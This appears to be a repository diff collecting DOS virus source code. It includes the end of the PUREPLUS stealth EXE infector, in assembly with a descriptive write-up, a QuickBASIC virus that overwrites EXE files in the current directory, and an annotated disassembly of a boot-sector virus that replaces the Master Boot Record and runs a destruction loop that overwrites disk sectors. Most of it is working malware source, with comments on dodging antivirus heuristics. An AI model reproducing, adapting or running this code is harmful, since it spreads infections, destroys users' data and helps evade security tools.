done: mov ah,high(GET_ERROR_LEVEL)
|
||||
int DOS_INT ;get spawned childs program errorlevel
|
||||
mov ah,high(TERMINATE_W_ERR)
|
||||
now_run_it endp ;and return with that same errorlevel
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
call_dos proc near ;routine to call dos
|
||||
int DOS_INT ;call dos
|
||||
jc done ;error in doing so then exit
|
||||
xchg ax,bx ;set bx to ax for open file stuff
|
||||
push cs ;set ds to cs
|
||||
pop ds ;for all sorts of stuff
|
||||
mov ax,JOB_FILE_TABLE
|
||||
ret ;get job file table
|
||||
call_dos endp ;(done here for anti TBAV hueristic scan)
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
|
||||
;these are used to create the 14 byte exec
|
||||
;table to rerun program
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes
|
||||
mov dx,bx ;set dx to bx for dos call to open file
|
||||
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
|
||||
call call_dos ;just open it for reading (don't sound any alarms)
|
||||
mov dx,offset critical_error
|
||||
mov ax,DOS_SET_INT+CRITICAL_INT
|
||||
int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler
|
||||
inc dh ;just some dummy area outside in the heap to read the header of the file to
|
||||
mov ah,high(READ_W_HANDLE)
|
||||
int DOS_INT ;read it
|
||||
reclose_it: mov ah,high(CLOSE_HANDLE)
|
||||
jmp short call_dos ;goto close it
|
||||
open_n_read_exe endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:????
|
||||
cmp ax,VERIFY_3SECTORS
|
||||
jne interrupt_ret ;if not doing int 13 stuff just leave
|
||||
push ds ;push varables on stack
|
||||
pusha
|
||||
mov bp,sp ;make bp the sp
|
||||
lds si,dword ptr ss:[bp+EIGHTEEN_BYTES]
|
||||
cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
|
||||
jne go_back ;compare the instruction to a far call function
|
||||
mov si,word ptr ds:[si+THREE_BYTES]
|
||||
cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
|
||||
jne go_back ;compare the address of the call to segment FFFFh
|
||||
cld ;if match then cx is pointing to the far call EAh at
|
||||
mov di,cx ;the end of virii that needs to be updated
|
||||
movsw ;move the address to our code
|
||||
movsw ;far addresses are 4 bytes long
|
||||
sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
|
||||
org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh
|
||||
mov word ptr ds:[si-FOUR_BYTES],di
|
||||
and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
|
||||
go_back: popa ;no longer need to singel step
|
||||
pop ds ;pop off varables
|
||||
critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h)
|
||||
interrupt_ret: iret ;dual useage of iret. critical error and int 1
|
||||
interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
convert_back proc near ;will convert virii sector es:bx back to clean sector
|
||||
call ax_cx_di_si_cld ;get all them varables
|
||||
repe cmps byte ptr cs:[si],es:[di]
|
||||
jne not_pure ;does it compare byte for byte with our code
|
||||
xor byte ptr ds:[bx],ah
|
||||
call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature
|
||||
rep stosb ;and zero out all the code
|
||||
not_pure: ret ;go back to where you once belonged
|
||||
convert_back endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
convert_to proc near ;will convert sector ds:bx into virii infected
|
||||
pusha ;save varables onto stack
|
||||
stc ;say that we failed
|
||||
pushf ;push failed onto the stack
|
||||
mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan
|
||||
cmp word ptr ds:[bx],ax
|
||||
jne not_exe_header ;if not an EXE header then not interested
|
||||
mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
|
||||
cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file
|
||||
ja not_exe_header ;if not then not interested
|
||||
cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested
|
||||
je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected)
|
||||
cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
|
||||
jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested
|
||||
call ax_cx_di_si_cld ;get all them varables
|
||||
pusha ;save'em
|
||||
repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector
|
||||
popa ;get'em again
|
||||
jne not_exe_header ;if not then not interested
|
||||
xor byte ptr ds:[bx],ah
|
||||
rep movs byte ptr es:[di],cs:[si]
|
||||
popf ;if all criteria were met for infection then modify sector in memory and insert virii
|
||||
clc ;pop off the fail indicator
|
||||
pushf ;and push on the passed indicator
|
||||
not_exe_header: popf ;get passed/failed indicator
|
||||
popa ;get varables from stack
|
||||
ret ;go back to where you once belonged
|
||||
convert_to endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly
|
||||
int_13_entry: cmp ah,high(READ_A_SECTOR)
|
||||
jb call_old_int_13 ;only interested in reads, writes and verifys
|
||||
cmp ah,high(VERIFY_3SECTORS)
|
||||
ja call_old_int_13 ;if otherwise then go to old int 13
|
||||
push ds ;save ds
|
||||
push es ;so we can make ds the same as es and save a few bytes
|
||||
pop ds
|
||||
call convert_to ;try to convert it to a virii sector
|
||||
pushf ;set up for interrupt simulation
|
||||
push cs ;push the cs onto the stack for the iret
|
||||
call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read
|
||||
pushf ;save the result of the int 13 call
|
||||
call convert_to ;does it need to be converted to a virii sector
|
||||
pusha ;save the varables onto the stack
|
||||
jc do_convertback ;if not then see if it needs cleaning
|
||||
mov ax,WRITE_A_SECTOR
|
||||
pushf ;now lets write the virii infected sector back to disk
|
||||
push cs ;simulate an int 13 execution
|
||||
call call_old_int_13 ;and do it
|
||||
do_convertback: call convert_back ;does the sector need to be cleaned on the fly
|
||||
popa ;if it just wrote to the disk then it will need to be cleaned
|
||||
popf ;or if it is a virii infected sector then clean it
|
||||
pop ds ;pop off the varables and the result of int 13 simulation done above
|
||||
retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact
|
||||
interrupt_13 endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
signature db 'Q' ;must leave my calling card
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET+SECTOR_SIZE-ONE_BYTE
|
||||
;must be a far jmp at the last of the sector
|
||||
;the address of the jmp is in the heap area
|
||||
;and is filled in by the int 1 trace routine
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS
|
||||
jmp far ptr old_int_13_addr
|
||||
call_old_int_13 endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET+SECTOR_SIZE
|
||||
;overwrites the address of above but that address
|
||||
;is not necessary until the virii goes resident in the HMA
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
goto_dos proc near ;this is our simple EXE file that we infected
|
||||
mov ax,TERMINATE_W_ERR
|
||||
nop ;it just simply ends
|
||||
far_ptr_addr: int DOS_INT ;terminate program
|
||||
goto_dos endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
pureplus endp ;close up and go home
|
||||
cseg ends
|
||||
end com_code
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
Virus Name: PUREPLUS
|
||||
Aliases:
|
||||
V Status: New, Research Viron
|
||||
Discovery: March, 1994
|
||||
Symptoms: None - Pure Stealth
|
||||
Origin: USA
|
||||
Eff Length: 441 Bytes
|
||||
Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector
|
||||
Detection Method: None
|
||||
Removal Instructions: See Below
|
||||
|
||||
General Comments:
|
||||
|
||||
The PUREPLUS virus is a HMA memory resident overwriting direct action
|
||||
infector. The virus is a pure 100% stealth virus with no detectable
|
||||
symptoms. No file length increase; overwritten .EXE files execute
|
||||
properly; no interrupts are directly hooked; no change in file date or
|
||||
time; no change in available memory; INT 12 is not moved; no cross
|
||||
linked files from CHKDSK; when resident the virus cleans programs on
|
||||
the fly; works with all 80?86 processors; VSAFE.COM does not detect
|
||||
any changes; Thunder Byte's Heuristic virus detection does not detect
|
||||
the virus; Windows 3.1's built in warning about a possible virus does
|
||||
not detect PUREPLUS.
|
||||
|
||||
The PUREPLUS is a variation of the PURE virus that will cause
|
||||
VSAFE.COM to uninstall.
|
||||
|
||||
The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file.
|
||||
The first time an infected .EXE file is executed, the virus goes
|
||||
memory resident in the HMA (High Memory Area). The hooking of INT 13
|
||||
is accomplished using a tunnelling technique, so memory mapping
|
||||
utilities will not map it to the virus in memory. It then reloads the
|
||||
infected .EXE file, cleans it on the fly, then executes it. After the
|
||||
program has been executed, PUREPLUS will attempt to infect 15 .EXE
|
||||
files in the current directory.
|
||||
|
||||
If the PUREPLUS virus is unable to install in the HMA or clean the
|
||||
infected .EXE on the fly, the virus will reopen the infected .EXE file
|
||||
for read-only; modify the system file table for write; remove itself,
|
||||
and then write the cleaned code back to the .EXE file. It then
|
||||
reloads the clean .EXE file and executes it. The virus can not clean
|
||||
itself on the fly if the disk is compressed with DBLSPACE or STACKER,
|
||||
so it will clean the infected .EXE file and write it back. It will
|
||||
also clean itself on an 8086 or 8088 processor.
|
||||
|
||||
It will infect an .EXE if it is executed, opened for any reason or
|
||||
even copied. When an uninfected .EXE is copied, both the source and
|
||||
destination .EXE file are infected.
|
||||
|
||||
The PUREPLUS virus overwrites the .EXE header if it meets certain
|
||||
criteria. The .EXE file must be less than 62K. The file does not
|
||||
have an extended .EXE header. The file is not SETVER.EXE. The .EXE
|
||||
header must be all zeros from offset 71 to offset 512; this is where
|
||||
the PUREPLUS virus writes it code. The PUREPLUS virus then changes
|
||||
the .EXE header to a .COM file. Files that are READONLY can also be
|
||||
infected.
|
||||
|
||||
To remove the virus from your system, change DOS=HIGH to DOS=LOW in
|
||||
your CONFIG.SYS file. Reboot the system. Then run each .EXE file
|
||||
less than 62k. The virus will remove itself from each .EXE program
|
||||
when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute
|
||||
an infected .EXE file, then use a tape backup unit to copy all your
|
||||
files. The files on the tape have had the virus removed from them.
|
||||
Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the
|
||||
system. Restore from tape all the files back to your system.
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,73 @@
|
|||
A QB Virus
|
||||
|
||||
Tis virus simply overwrites all the EXE's in the current DIR using DOS, it also uses a small assembly routine to "find itself" you must use QB 4.5 to compile it then after you compile (be sure to load QB with the /l switch) just run it, you may try using PKLITE on it and recording the new file size then changing the 43676 to whatever the new size is....
|
||||
|
||||
DEFINT A-Z
|
||||
'$INCLUDE: 'qb.bi'
|
||||
DECLARE FUNCTION ProgramName$ ()
|
||||
SHELL "DIR /b *.exeé¨é"
|
||||
OPEN "é¨é" FOR BINARY AS #1
|
||||
IF LOF(1) = 0 THEN CLOSE : KILL "é¨é": GOTO endit
|
||||
CLOSE
|
||||
OPEN "é¨é" FOR INPUT AS #1
|
||||
1 LINE INPUT #1, host$
|
||||
GOSUB infect
|
||||
endit:
|
||||
crdate$ = "ÎËÓÏÍ"
|
||||
FOR i = 1 TO LEN(crdate$)
|
||||
cdate$ = cdate$ + CHR$(ASC(MID$(crdate$, i, 1)) XOR &HFE)
|
||||
NEXT
|
||||
IF MID$(DATE$, 1, 5) = cdate$ THEN GOSUB message
|
||||
PRINT "Program to big to fit in memory"
|
||||
END
|
||||
infect:
|
||||
OPEN host$ FOR BINARY AS #2
|
||||
IF LOF(2) < 1200 OR LOF(2) = 43676 OR LOF(2) = 0 THEN CLOSE : GOTO 1
|
||||
CLOSE
|
||||
doit$ = "copy " + ProgramName$ + " " + host$ + "nul"
|
||||
SHELL doit$
|
||||
CLOSE : GOSUB endit
|
||||
END
|
||||
message:
|
||||
CLS
|
||||
FOR i = 1 TO 25 * 19.2
|
||||
PRINT "°±²Û";
|
||||
COLOR RND * 14 + 1
|
||||
NEXT
|
||||
DO: LOOP UNTIL INKEY$ < ""
|
||||
CLS
|
||||
PRINT
|
||||
msg$ = "öîßÌËÙÔ<C399>ääð<C3A4>...î"<EFBFBD>œ""š<EFBFBD>ïÔ-<EFBFBD>ùÈÎÅÃÂ<EFBFBD>ýÅØÃƧ"
|
||||
FOR i = 1 TO 37
|
||||
PRINT CHR$(ASC(MID$(msg$, i, 1)) XOR &HAD);
|
||||
NEXT
|
||||
FUNCTION ProgramName$ STATIC
|
||||
DIM Regs AS RegType 'Allocate space for TYPE
|
||||
' RegType
|
||||
Regs.ax = &H5100 'DOS function 51h
|
||||
Interrupt &H21, Regs, Regs ' Get PSP Address
|
||||
DEF SEG = Regs.bx 'Regs.bx returns PSP sgmnt.
|
||||
EnvSeg% = PEEK(&H2C) + PEEK(&H2D) * 256 'Get environment address
|
||||
DEF SEG = EnvSeg% 'Set environment address
|
||||
DO
|
||||
Byte% = PEEK(Offset%) 'Take a byte
|
||||
IF Byte% = 0 THEN 'Items are ASCIIZ
|
||||
Count% = Count% + 1 ' terminated
|
||||
IF Count% AND EXEFlag% THEN 'EXE also ASCIIZ terminated
|
||||
EXIT DO 'Exit at the end
|
||||
ELSEIF Count% = 2 THEN 'Last entry in env. is
|
||||
EXEFlag% = -1 ' terminated with two
|
||||
Offset% = Offset% + 2 ' NULs. Two bytes ahead
|
||||
END IF ' is the EXE file name.
|
||||
ELSE 'If Byte% < 0, reset
|
||||
Count% = 0 ' zero counter
|
||||
IF EXEFlag% THEN 'If EXE name found,
|
||||
Temp$ = Temp$ + CHR$(Byte%) ' build string
|
||||
END IF
|
||||
END IF
|
||||
Offset% = Offset% + 1 'To grab next byte...
|
||||
LOOP 'Do it again
|
||||
DEF SEG 'Reset default segment
|
||||
ProgramName$ = Temp$ 'Return value
|
||||
Temp$ = "" 'Clean up
|
||||
END FUNCTION
|
|
@ -0,0 +1,685 @@
|
|||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
org 100h
|
||||
|
||||
start: jmp l_0CBD ;0100 E9 0BBA
|
||||
d_0103 db 'J' ;0103 4A
|
||||
|
||||
;=============================================================
|
||||
; Victim code here
|
||||
;-------------------------------------------------------------
|
||||
org 076Bh
|
||||
|
||||
;=============================================================
|
||||
; begin of virus code
|
||||
;-------------------------------------------------------------
|
||||
|
||||
;-------BOF pattern (jump into virus & contamination ptr)
|
||||
db 0E9h ;076B E9
|
||||
d_0101 dw 0682Ah ;jump distance ;076C 2A 68
|
||||
db 'J' ;076E 4A
|
||||
|
||||
;=============================================================
|
||||
; Partition table buffer (content not constant)
|
||||
;-------------------------------------------------------------
|
||||
r_0104: jmp short l_0775 ;076F EB 04
|
||||
db 90h ;0771 90
|
||||
db 'QQ' ;0772 51 51
|
||||
db 64h ;0774 64
|
||||
l_0775: push cs ;0775 0E
|
||||
pop ax ;0776 58
|
||||
cmp ax,0 ;0777 3D 0000
|
||||
je l_077F ;077A 74 03
|
||||
jmp short l_07D2 ;077C EB 54
|
||||
db 90h ;077E 90
|
||||
l_077F: cmp byte ptr cs:[7C05h],0 ;077F 2E: 80 3E 7C05 00
|
||||
jne l_0799 ;0785 75 12
|
||||
l_0787: mov ax,310h ;0787 B8 0310
|
||||
mov cx,1 ;078A B9 0001
|
||||
mov dx,80h ;078D BA 0080
|
||||
mov bx,0 ;0790 .BB 0000
|
||||
int 13h ;0793 CD 13
|
||||
stc ;0795 F9
|
||||
cli ;0796 FA
|
||||
jc l_0787 ;0797 72 EE
|
||||
l_0799: xor ax,ax ;0799 33 C0
|
||||
mov es,ax ;079B 8E C0
|
||||
dec byte ptr cs:[7C05h] ;079D 2E: FE 0E 7C05
|
||||
mov ax,301h ;07A2 B8 0301
|
||||
mov cx,1 ;07A5 B9 0001
|
||||
mov dx,80h ;07A8 BA 0080
|
||||
mov bx,7C00h ;07AB .BB 7C00
|
||||
int 13h ;07AE CD 13
|
||||
mov ax,1000h ;07B0 B8 1000
|
||||
mov es,ax ;07B3 8E C0
|
||||
mov ax,0 ;07B5 B8 0000
|
||||
mov ds,ax ;07B8 8E D8
|
||||
mov di,7C00h ;07BA .BF 7C00
|
||||
mov si,di ;07BD 8B F7
|
||||
cld ;07BF FC
|
||||
mov cx,200h ;07C0 B9 0200
|
||||
rep movsb ;07C3 F3/ A4
|
||||
mov ax,1000h ;07C5 B8 1000
|
||||
push ax ;07C8 50
|
||||
mov ax,7C00h ;07C9 B8 7C00
|
||||
push ax ;07CC 50
|
||||
mov bp,sp ;07CD 8B EC
|
||||
;* jmp dword ptr [bp] ;07CF FF 6E 00
|
||||
db 0FFh, 6Eh, 00h ;07CF FF 6E 00
|
||||
l_07D2: xor ax,ax ;07D2 33 C0
|
||||
mov ds,ax ;07D4 8E D8
|
||||
mov ax,27Bh ;07D6 B8 027B
|
||||
mov ds:[0413h],ax ;07D9 A3 0413
|
||||
mov ax,9F00h ;07DC B8 9F00
|
||||
mov es,ax ;07DF 8E C0
|
||||
mov bx,0100h ;07E1 .BB 0100
|
||||
mov al,8 ;07E4 B0 08
|
||||
mov ah,2 ;07E6 B4 02
|
||||
mov ch,0 ;07E8 B5 00
|
||||
mov cl,3 ;07EA B1 03
|
||||
mov dh,0 ;07EC B6 00
|
||||
mov dl,80h ;07EE B2 80
|
||||
int 13h ;07F0 CD 13
|
||||
xor ax,ax ;07F2 33 C0
|
||||
mov ds,ax ;07F4 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;07F6 C7 06 03D4 4A4D
|
||||
mov ax,48Bh ;07FC B8 048B
|
||||
mov ds:[0070h],ax ;07FF A3 0070
|
||||
mov word ptr ds:[0072h],9F00h ;0802 C7 06 0072 9F00
|
||||
mov ax,0 ;0808 B8 0000
|
||||
mov es,ax ;080B 8E C0
|
||||
mov bx,7C00h ;080D .BB 7C00
|
||||
mov ah,2 ;0810 B4 02
|
||||
mov al,1 ;0812 B0 01
|
||||
mov ch,0 ;0814 B5 00
|
||||
mov cl,2 ;0816 B1 02
|
||||
mov dh,0 ;0818 B6 00
|
||||
mov dl,80h ;081A B2 80
|
||||
int 13h ;081C CD 13
|
||||
xor ax,ax ;081E 33 C0
|
||||
push ax ;0820 50
|
||||
mov ax,7C00h ;0821 B8 7C00
|
||||
push ax ;0824 50
|
||||
mov bp,sp ;0825 8B EC
|
||||
;* jmp dword ptr [bp] ;*1 entry ;0827 FF 6E 00
|
||||
db 0FFh, 6Eh, 00h ;0827 FF 6E 00
|
||||
db '. fixed disk.', 0Dh, 0Ah, 0Dh, 0Ah ;082A 2E 20 66 69 78 65
|
||||
;0830 64 20 64 69 73 6B
|
||||
;0836 2E 0D 0A 0D 0A
|
||||
db 'Insert COMPAQ DOS diskette in dr' ;083B 49 6E 73 65 72 74
|
||||
;0841 20 43 4F 4D 50 41
|
||||
;0847 51 20 44 4F 53 20
|
||||
;084D 64 69 73 6B 65 74
|
||||
;0853 74 65 20 69 6E 20
|
||||
;0859 64 72
|
||||
db 'ive A.', 0Dh, 0Ah, 'Press any ke' ;085B 69 76 65 20 41 2E
|
||||
;0861 0D 0A 50 72 65 73
|
||||
;0867 73 20 61 6E 79 20
|
||||
;086D 6B 65
|
||||
db 'y when ready: ' ;086F 79 20 77 68 65 6E
|
||||
;0875 20 72 65 61 64 79
|
||||
;087B 3A 20
|
||||
db 7 ;087D 07
|
||||
db 207 dup (0) ;087E 00CF[00]
|
||||
db 80h, 01h, 01h, 00h, 04h, 06h ;094D 80 01 01 00 04 06
|
||||
db 51h, 6Dh, 11h, 00h, 00h, 00h ;0953 51 6D 11 00 00 00
|
||||
db 11h,0AAh, 00h, 00h, 00h, 00h ;0959 11 AA 00 00 00 00
|
||||
db 41h, 6Eh, 04h, 06h, 91h,0DBh ;095F 41 6E 04 06 91 DB
|
||||
db 22h,0AAh, 00h, 00h, 22h,0AAh ;0965 22 AA 00 00 22 AA
|
||||
db 00h, 00h, 55h,0AAh ;096B 00 00 55 AA
|
||||
;----------------------------------------------------------------
|
||||
; partition table buffer end
|
||||
;----------------------------------------------------------------
|
||||
|
||||
r_0304 dw 1460h ;int 21h offset ;096F 60 14
|
||||
r_0306 dw 0273h ;int 21h segment ;0971 73 02
|
||||
|
||||
r_0308 dw 1DADh ;int 13h offset ;0973 AD 1D
|
||||
r_030A dw 0070h ;int 13h segment ;0973 70 00
|
||||
|
||||
db 2Bh ;0977 2B
|
||||
|
||||
r_030D db 1 ;desturction active if=0;0978 01
|
||||
r_030E dw 0 ;:= 0C8h - to activation;0979 00 00
|
||||
|
||||
r_0310 db 0E9h,34h,05h,01h ;victim bytes ;097B E9 34 05 01
|
||||
|
||||
r_0314 db 'Bad command or file name',0Dh,0Ah,'$' ;097F 42 61 64 20 63 6F
|
||||
;0985 6D 6D 61 6E 64 20
|
||||
;098B 6F 72 20 66 69 6C
|
||||
;0991 65 20 6E 61 6D 65
|
||||
;0997 0D 0A 24
|
||||
|
||||
d_032F dw 5 ;file handle ;099A 05 00
|
||||
d_0331 dw 066Bh ;healthy file length ;099C 6B 06
|
||||
|
||||
;===============================================================
|
||||
; Is virus resident ?
|
||||
;---------------------------------------------------------------
|
||||
s_099E proc near
|
||||
push ax ;099E 50
|
||||
push ds ;099F 1E
|
||||
xor ax,ax ;09A0 33 C0
|
||||
mov ds,ax ;09A2 8E D8
|
||||
cmp word ptr ds:[03D4h],'JM' ;int F5h ;09A4 81 3E 03D4 4A4D
|
||||
je l_09B0 ;09AA 74 04
|
||||
clc ;<- NOT resident ;09AC F8
|
||||
jmp short l_09B1 ;09AD EB 02
|
||||
db 90h ;09AF 90
|
||||
|
||||
l_09B0: stc ;<- YES, resident ;09B0 F9
|
||||
l_09B1: pop ds ;09B1 1F
|
||||
pop ax ;09B2 58
|
||||
retn ;09B3 C3
|
||||
s_099E endp
|
||||
|
||||
;===============================================================
|
||||
; Set infection flag
|
||||
;---------------------------------------------------------------
|
||||
s_09B4 proc near
|
||||
push ax ;09B4 50
|
||||
push ds ;09B5 1E
|
||||
xor ax,ax ;09B6 33 C0
|
||||
mov ds,ax ;09B8 8E D8
|
||||
mov word ptr ds:[03D4h],'JM' ;09BA C7 06 03D4 4A4D
|
||||
pop ds ;09C0 1F
|
||||
pop ax ;09C1 58
|
||||
retn ;09C2 C3
|
||||
s_09B4 endp
|
||||
|
||||
;===============================================================
|
||||
; Contamine first hard disk drive
|
||||
;---------------------------------------------------------------
|
||||
s_09C3 proc near
|
||||
push ds ;09C3 1E
|
||||
push es ;09C4 06
|
||||
push cs ;09C5 0E
|
||||
pop ds ;09C6 1F
|
||||
mov ah,2 ;read ;09C7 B4 02
|
||||
mov al,1 ;1 sector ;09C9 B0 01
|
||||
mov ch,0 ;track 0 ;09CB B5 00
|
||||
mov cl,1 ;sector 1 ;09CD B1 01
|
||||
mov dh,0 ;head 0 ;09CF B6 00
|
||||
mov dl,80h ;first hard disk drive ;09D1 B2 80
|
||||
push cs ;09D3 0E
|
||||
pop es ;09D4 07
|
||||
mov bx,0104h ;= l_076F ;09D5 .BB 0104
|
||||
int 13h ;09D8 CD 13
|
||||
|
||||
cmp cs:[0107h],'QQ' ;contamination signature;09DA 2E: 81 3E 0107 5151
|
||||
je l_0A38 ;-> allready infected ;09E1 74 55
|
||||
|
||||
;<- destruction variable initiation
|
||||
mov word ptr cs:[30Eh],0C8h ;= l_0979 count ;09E3 2E: C7 06 030E 00C8
|
||||
mov byte ptr cs:[30Dh],1 ;= l_0978 off ;09EA 2E: C6 06 030D 01
|
||||
mov byte ptr cs:[3D5h],64h ;= l_0A40 count ;09F0 2E: C6 06 03D5 64
|
||||
|
||||
;<- save oryginal
|
||||
mov ah,3 ;write ;09F6 B4 03
|
||||
mov al,1 ;1 sector ;09F8 B0 01
|
||||
mov ch,0 ;track 0 ;09FA B5 00
|
||||
mov cl,2 ;sector 2 ;09FC B1 02
|
||||
mov dh,0 ;head 0 ;09FE B6 00
|
||||
mov dl,80h ;1 HD Drive ;0A00 B2 80
|
||||
mov bx,104h ;= offset l_076F ;0A02 .BB 0104
|
||||
int 13h ;0A05 CD 13
|
||||
|
||||
;<- make new Master Boot Record
|
||||
mov cx,0BBh ;constant part length ;0A07 B9 00BB
|
||||
inc cx ;0A0A 41
|
||||
mov si,3D0h ;= offset l_0A3B ;0A0B .BE 03D0
|
||||
mov di,104h ;= offset l_076F ;0A0E .BF 0104
|
||||
cld ;0A11 FC
|
||||
rep movsb ;0A12 F3/ A4
|
||||
mov ah,3 ;write ;0A14 B4 03
|
||||
mov al,1 ;1 sector ;0A16 B0 01
|
||||
mov ch,0 ;track 0 ;0A18 B5 00
|
||||
mov cl,1 ;sector 1 ;0A1A B1 01
|
||||
mov dh,0 ;head 0 ;0A1C B6 00
|
||||
mov dl,80h ;1-st HD Drive ;0A1E B2 80
|
||||
mov bx,0104h ;= offset L_076F ;0A20 .BB 0104
|
||||
int 13h ;0A23 CD 13
|
||||
|
||||
;<- write rest of virus code
|
||||
mov al,8 ;8 sectors ;0A25 B0 08
|
||||
mov ah,3 ;write ;0A27 B4 03
|
||||
mov ch,0 ;track 0 ;0A29 B5 00
|
||||
mov cl,3 ;sector 3 ;0A2B B1 03
|
||||
mov dh,0 ;head 0 ;0A2D B6 00
|
||||
mov dl,80h ;1-st HD Drive ;0A2F B2 80
|
||||
mov bx,100h ;= offset L076B ;0A31 .BB 0100
|
||||
push cs ;0A34 0E
|
||||
pop es ;0A35 07
|
||||
int 13h ;0A36 CD 13
|
||||
|
||||
;<-- partition table allready infected
|
||||
l_0A38: pop es ;0A38 07
|
||||
pop ds ;0A39 1F
|
||||
retn ;0A3A C3
|
||||
s_09C3 endp
|
||||
|
||||
;================================================================
|
||||
; Master Boot Record code pattern
|
||||
;----------------------------------------------------------------
|
||||
jmp short l_0A41 ;0A3B EB 04
|
||||
nop ;0A3D 90
|
||||
|
||||
db 'QQ' ;contamination sygnature;0A3E 51 51
|
||||
r_03D5 db 64h ;reboot count to destr. ;0A40 64
|
||||
|
||||
l_0A41: push cs ;0A41 0E
|
||||
pop ax ;0A42 58
|
||||
cmp ax,0 ;0A43 3D 0000
|
||||
je l_0A4B ;0A46 74 03
|
||||
jmp short l_0A9E ;0A48 EB 54
|
||||
nop ;0A4A 90
|
||||
|
||||
;<- code to make destruction
|
||||
l_0A4B: cmp byte ptr cs:[7C05h],0 ;= r_0305 ;0A4B 2E: 80 3E 7C05 00
|
||||
jne l_0A65 ;-> counter not exhaused;0A51 75 12
|
||||
|
||||
l_0A53: mov ax,0310h ;write 16 sectors ;0A53 B8 0310
|
||||
mov cx,1 ;track 0, sector 0 ;0A56 B9 0001
|
||||
mov dx,80h ;head 0, HDD 0 ;0A59 BA 0080
|
||||
mov bx,0 ;buffer ;0A5C .BB 0000
|
||||
int 13h ;0A5F CD 13
|
||||
stc ;0A61 F9
|
||||
cli ;0A62 FA
|
||||
jc l_0A53 ;endless loop ;0A63 72 EE
|
||||
|
||||
l_0A65: xor ax,ax ;0A65 33 C0
|
||||
mov es,ax ;0A67 8E C0
|
||||
dec byte ptr cs:[7C05h] ;reboot counter ;0A69 2E: FE 0E 7C05
|
||||
mov ax,301h ;write counter to disk ;0A6E B8 0301
|
||||
mov cx,1 ;0A71 B9 0001
|
||||
mov dx,80h ;0A74 BA 0080
|
||||
mov bx,7C00h ;0A77 .BB 7C00
|
||||
int 13h ;0A7A CD 13
|
||||
|
||||
mov ax,1000h ;make virus boot copy ;0A7C B8 1000
|
||||
mov es,ax ;0A7F 8E C0
|
||||
mov ax,0 ;0A81 B8 0000
|
||||
mov ds,ax ;0A84 8E D8
|
||||
mov di,7C00h ;0A86 .BF 7C00
|
||||
mov si,di ;0A89 8B F7
|
||||
cld ;0A8B FC
|
||||
mov cx,200h ;0A8C B9 0200
|
||||
rep movsb ;0A8F F3/ A4
|
||||
mov ax,1000h ;0A91 B8 1000
|
||||
push ax ;0A94 50
|
||||
mov ax,7C00h ;0A95 B8 7C00
|
||||
push ax ;0A98 50
|
||||
mov bp,sp ;0A99 8B EC
|
||||
jmp dword ptr [bp] ;run boot code again ;0A9B FF 6E 00
|
||||
|
||||
l_0A9E: xor ax,ax ;0A9E 33 C0
|
||||
mov ds,ax ;0AA0 8E D8
|
||||
mov ax,27Bh ;= 635 ;0AA2 B8 027B
|
||||
mov ds:[0413h],ax ;BIOS memory size ;0AA5 A3 0413
|
||||
mov ax,9F00h ;0AA8 B8 9F00
|
||||
mov es,ax ;0AAB 8E C0
|
||||
mov bx,0100h ;virus offset ;0AAD .BB 0100
|
||||
mov al,8 ;8 sectors ;0AB0 B0 08
|
||||
mov ah,2 ;read ;0AB2 B4 02
|
||||
mov ch,0 ;track ;0AB4 B5 00
|
||||
mov cl,3 ;sector ;0AB6 B1 03
|
||||
mov dh,0 ;head ;0AB8 B6 00
